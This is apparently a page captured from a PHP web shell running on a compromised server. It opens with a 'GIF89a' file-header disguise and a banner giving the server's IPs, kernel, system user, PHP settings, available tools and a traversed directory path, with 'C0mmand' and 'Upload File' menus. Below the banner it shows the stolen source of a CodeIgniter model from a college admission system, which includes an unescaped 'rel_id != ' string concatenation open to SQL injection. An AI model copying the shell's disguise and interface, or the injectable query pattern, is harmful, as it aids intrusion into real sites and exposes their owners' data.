GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.224.59.107 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Model For Handling All DB Operations Related To Relations * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class RelationManagement extends CI_Model { function createNewRelation(array $newRelationInfo) { $this->db->insert('tbl_relation_master', $newRelationInfo); return $this->db->insert_id(); } function getAllRelations() { $this->db->select("TRLM.rel_id,TRLM.rel_title,TRLM.rel_code,TRLM.rel_active_status,TRLM.rel_delete_status," . "TRLM.rel_added_by,TRLM.rel_added_on,TRLM.rel_updated_by,TRLM.rel_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_relation_master TRLM'); $this->db->join('tbl_staff_members TSMA', 'TRLM.rel_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TRLM.rel_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->order_by("TRLM.rel_updated_on", "desc"); return $this->db->get(); } function getAllNonDeletedActiveRelations() { $this->db->select('*'); $this->db->from('tbl_relation_master TRM'); $this->db->where('TRM.rel_active_status', 'T'); $this->db->where('TRM.rel_delete_status', 'F'); return $this->db->get(); } function getRelationInfoBy($rel_id) { $this->db->select("TRLM.rel_id,TRLM.rel_title,TRLM.rel_code,TRLM.rel_active_status,TRLM.rel_delete_status," . "TRLM.rel_added_by,TRLM.rel_added_on,TRLM.rel_updated_by,TRLM.rel_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_relation_master TRLM'); $this->db->join('tbl_staff_members TSMA', 'TRLM.rel_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TRLM.rel_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("TRLM.rel_id", $rel_id); return $this->db->get(); } function getRelationInfoByName($rel_title) { $this->db->select("TRLM.rel_id,TRLM.rel_title,TRLM.rel_code,TRLM.rel_active_status,TRLM.rel_delete_status," . "TRLM.rel_added_by,TRLM.rel_added_on,TRLM.rel_updated_by,TRLM.rel_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_relation_master TRLM'); $this->db->join('tbl_staff_members TSMA', 'TRLM.rel_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TRLM.rel_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("TRLM.rel_title", $rel_title); return $this->db->get(); } function getRelationInfoByCode($rel_code) { $this->db->select("TRLM.rel_id,TRLM.rel_title,TRLM.rel_code,TRLM.rel_active_status,TRLM.rel_delete_status," . "TRLM.rel_added_by,TRLM.rel_added_on,TRLM.rel_updated_by,TRLM.rel_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('tbl_relation_master TRLM'); $this->db->join('tbl_staff_members TSMA', 'TRLM.rel_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'TRLM.rel_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("TRLM.rel_code", $rel_code); return $this->db->get(); } function isRelationNameSafeUpdate($rel_id, $rel_title) { $this->db->select("*"); $this->db->from('tbl_relation_master'); $this->db->where('rel_title', $rel_title); $this->db->where('rel_id != ' . $rel_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function isRelationCodeSafeUpdate($rel_id, $rel_code) { $this->db->select("*"); $this->db->from('tbl_relation_master'); $this->db->where('rel_code', $rel_code); $this->db->where('rel_id != ' . $rel_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function updateRelationInfo(array $relationUpdatedInfo) { $this->db->where('rel_id', $relationUpdatedInfo['rel_id']); return $this->db->update('tbl_relation_master', $relationUpdatedInfo); } /* Functions For Family Background Info */ function getRelativeInfoBy($mapping_id, $rel_id, $user_type) { $this->db->select("*"); $this->db->from('tbl_family_background_info'); $this->db->where('tfbi_mapping_id', $mapping_id); $this->db->where('tfbi_user_type_flag', $user_type); $this->db->where('tfbi_relation', $rel_id); return $this->db->get(); } }